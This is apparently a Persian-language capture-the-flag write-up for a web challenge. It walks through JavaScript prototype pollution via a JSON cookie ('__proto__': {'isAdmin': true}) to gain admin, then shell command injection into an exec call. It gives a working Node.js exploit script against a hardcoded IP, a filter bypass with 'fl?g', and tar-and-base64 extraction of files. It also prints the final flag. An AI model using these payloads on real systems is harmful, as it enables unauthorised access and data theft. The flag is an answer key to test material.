چالش وب دوم - Red Hat
توضیحات
برو به سمت تهرون، میخوام برم تلویزیون
قالب پرچم در این سوال به صورت
parcham{some-string}
میباشد.
حل چالش
گام اول
به ما کد سوال و آدرس آن داده شده است. در سایت با مشخصات «نام» و «سرگذشت» و «کلید ادمین» (که اختیاری است و اگر مقدار خاصی باشد امکانات ویژهای به کاربر داده میشود) میتوان وارد شد. و بعد از وارد شدن میتوان بین دو مجموعهی دو گزینهای انتخاب کرد.
اطلاعات تعداد انتخاب ها در redis و با استفاده از pfadd و pfcount نگهداری میشود. در صورتی که کلید ادمین با مقداری که در فایل secret قرار گرفته است یکی باشد کاربر دسترسی admin دارد.
if (session.key === adminKey) {
session.isAdmin = true;
}
که در آن صورت میتواند از /report
استفاده کند. که به
نظر میرسد یک کد python (که آن را نداریم) اجرا میکند.
app.get('/report', async (req, res) => {
const session = getSession(req);
if (session.isUser !== true) {
res.json({});
return;
}
if (session.isAdmin !== true) {
res.json({});
return;
}
console.log("Q", req.query);
const {q = ''} = req.query;
if (q.toLowerCase().includes('flag')) {
res.json({});
return;
}
let r = {};
try {
const s = await execAsync(`python ./report.py ${q}`);
const {now, delay, type, a1, a2, a3} = JSON.parse(s);
r = {now, delay, type, a1, a2, a3};
} catch(e) {
}
res.json({data: r});
});
اما قبل از استفاده از آن نیاز به یک راه برای گرفتن دسترسی admin داریم.
گام دوم
برای فهمیدن راهحل نیاز است که کمی با مشخصات javascript بیشتر
آشنا شویم. جاوا اسکریپت برای وراثت از
پروتوتایپها
استفاده میکند.
در اینترنت اطلاعات بیشتری در این مورد میتوان پیدا کرد. (مثلاً
این) ولی به طور خلاصه در این زبان هر object یک
__proto__
دارد که مثل کلاس برای آن عمل میکند. یعنی
وقتی obj.something را صدا میزنیم و something در خود obj نباشد در
prototype آن به دنبال آن میگردد. و به همین شکل یک chain وراثت
درست میشود. چند مثلا در کد زیر آمده است:
class C {}
let a = new C();
a.__proto__ == C.prototype; // true
class B extends C {}
let b = new B()
b.__proto__ == B.prototype; // true
b.__proto__.__proto__ == C.prototype; // true
در این حالت اگر __proto__
در یک object را بتوان
دستکاری کرد، میتوان رفتار آن object و حتی بعضی وقتها رفتار شی های دیگر را هم تغییر داد. (وقتی دو شی مختلف یک proto ی یکسان
دارند). به این روشها معمولاً Prototype Pollution گفته میشود. در
کد زیر یک مثال از تغییر در رفتار یک شی در صورت تغییر
__proto__
ی آن آمده است.
let a = {};
a.__proto__ = {hello: 10};
a.hello === 10; // true
حال با در نظر گرفتن این ویژگی دوباره به کد با دقت بیشتری نگاه میکنیم:
function copy(defaultObj, data, additional) {
for (const key in data) {
if (additional.includes(key) && typeof data[key] === 'string') {
defaultObj[key] = data[key];
} else if (defaultObj[key] != null && typeof defaultObj[key] === typeof data[key]) {
defaultObj[key] = data[key];
}
}
}
function getSession(req) {
const {cookie} = req.cookies;
let session = {
votes: [],
bio: '',
};
...
try {
const data = JSON.parse(cookie);
copy(session, data, importantKeys);
} catch(e) {
}
session.id = nanoid.nanoid();
if (session.name != null) {
session.isUser = true;
}
if (session.key === adminKey) {
session.isAdmin = true;
}
return session;
}
در تابع copy از data به defaultObj در صورتی که کلید در
defaultObj وجود داشته باشد مقداردهی شده. حال اگر مقدار
__proto__
را به عنوان کلید در نظر بگیریم
میتوانیم پروتوتایپ session را تغییر بدهیم. در آن صورت بدون کلید
هم میتوانیم session.isAdmin را true کنیم. مقدار cookie به صورت
JSON است. پس راحت میتوان آن را تغییر داد. برای اینکه بتوان به
/report
دسترسی پیدا کرد باید علاوه بر isAdmin مقدار
isUser هم true باشد. پس کافی است یک name هم به آن بدهیم.
{"name": "hi", "__proto__": {"isAdmin": true}}
و با تغییر آن میتوانیم به صفحهی
/report
دسترسی پیدا کنیم.
گام سوم
حال میتوانیم صفحهی report را بررسی کنیم. وقتی این صفحه را باز میکنیم کمی طول میکشد و پاسخ زیر را دریافت میکنیم.
{"data":{"now":1608483902,"delay":2,"type":"","a1":10,"a2":20,"a3":[16, ..., 49,13,12]}}
اگر به کد این بخش با دقت بیشتری نگاه کنیم، متوجه میشویم که ورودی ما از query به صورت مستقیم exec میشود.
const s = await execAsync(`python ./report.py ${q}`);
const {now, delay, type, a1, a2, a3} = JSON.parse(s);
و در نتیجه code injection داریم. فقط در ورودی نباید از کلمهی flag استفاده کنیم. و خروجی آن باید یک JSON با مقدارهای گفته شده باشد تا بتوانیم خروجی دستور inject شده را ببینید. دستور زیر از ورودی میخواند و در خروجی به شکل یک JSON چاپ میکند. حال اگر هر دستوری را به دستور زیر pipe کنیم میتوانیم خروجی آن را دریافت کنیم.
node -e "fs = require('fs'); console.log(JSON.stringify({type: fs.readFileSync(0).toString('base64')}))"
حال کد زیر (با زبان javascript و با استفاده از node.js) را مینویسیم که در آن هر دستوری که در cmd قرار دهیم، آن را به سرور inject میکند و خروجی آن را چاپ میکند.
const fs = require('fs');
const needle = require('needle');
const assert = require('assert').strict;
const base = "http://86.104.33.87:1335";
async function curl(method, q, url) {
const r = await needle(method, `${base}${url}`, {q}, {
cookies: {
cookie: '{"name": "hi", "__proto__": {"isAdmin": true}}',
}
});
assert(r.statusCode === 200);
return r.body;
}
async function main() {
let cmd = "cat ./report.py";
let q = `> /dev/null; ${cmd} | node -e "fs = require('fs'); console.log(JSON.stringify({type: fs.readFileSync(0).toString('base64')}))"`;
const r = await curl("GET", q, "/report");
const b = Buffer.from(r.data.type || "", 'base64');
console.log(b.toString());
}
main();
با بررسی کد report.py، میفهمیم که با هر اجرا ۲ ثانیه صبر
میکند
(time.sleep(2)
)
ولی اگر ورودی دوم عدد نباشد خط
count = int(sys.argv[2])
قبل از sleep دچار خطا شده و سریع تر اجرا میشود. حال سعی
میکنیم دنبال فایلهایی با اسم نزدیک به flag در سیستم بگردیم.
(چون خود flag را نمیتوانیم وارد کنیم)
و دو خط زیر را در کد بالا تغییر میدهیم.
let cmd = "find / | grep fla";
let q = `a a> /dev/null; ${cmd} | node -e "fs = require('fs'); console.log(JSON.stringify({type: fs.readFileSync(0).toString('base64')}))"`;
از خروجی متوجه میشویم که یک فایل به اسم
/home/flag/flag
وجود دارد. کد را به شکل زیر تغییر
میدهیم تا کل پوشهی /home/flag را دریافت کنیم. چون از
کلمهی flag در
ورودی نمیتوانیم استفاده کنیم آن را به شکل
fl?g
مینویسیم که در bash به معنی هر چیزی که این شکل
وجود داشت است. (آن کاراکتر میتواند هر چیزی باشد)
let cmd = "tar cvf - /home/fl?g";
let q = `a a> /dev/null; ${cmd} | node -e "fs = require('fs'); console.log(JSON.stringify({type: fs.readFileSync(0).toString('base64')}))"`;
const r = await curl("GET", q, "/report");
const b = Buffer.from(r.data.type || "", 'base64');
fs.writeFileSync("/tmp/flag.tar", b);
حال فایلهای درون این پوشه را بررسی میکنیم:
$ tar xvf flag.tar
$ cd ./home/flag
$ ls -a
. .. flag .git
فایل flag یک برنامهی اجرایی است که یک پرچم ورودی میگیرد و
با حساب کردن hash آن بررسی میکند که پرچم درست است یا نه
و برای فهمیدن پرچم کافی نیست. اما میبینیم که یک پوشهی .git
هم وجود دارد. یعنی یک مخزن git داریم. با بررسی commit های مختلف
در این git به مقدار پرچم میرسیم:
$ cat flag
#!/bin/bash
A=`echo -n $1 | sha256sum | cut -d ' ' -f1`
if [[ "$A" = "4c5192622c62236f8914d3a38c9dc591697a6716b313ae4aec198690491bcc9c" ]]; then
echo "yeah!"
fi
$ git log
commit 68257ad03baddc7efb1a3caa3a5ae9c889850ec6 (HEAD -> master)
Author: My Name <you@example.com>
Date: Mon Nov 23 20:12:33 2020 +0000
Fix code
commit 0a0abab9196688f1b051109d921ec282b9d8d36f
Author: My Name <you@example.com>
Date: Mon Nov 23 20:11:28 2020 +0000
Initial commit
$ git checkout 0a0abab9196688f1b051109d921ec282b9d8d36f
$ cat flag
#!/bin/bash
if [[ "$1" = "parcham{a89435e3b87f62a853dab6ac622857691a6a5f7f0f88ab976c69486e077d8970}" ]]; then
echo "yeah!"
fi
پرچم:
parcham{a89435e3b87f62a853dab6ac622857691a6a5f7f0f88ab976c69486e077d8970}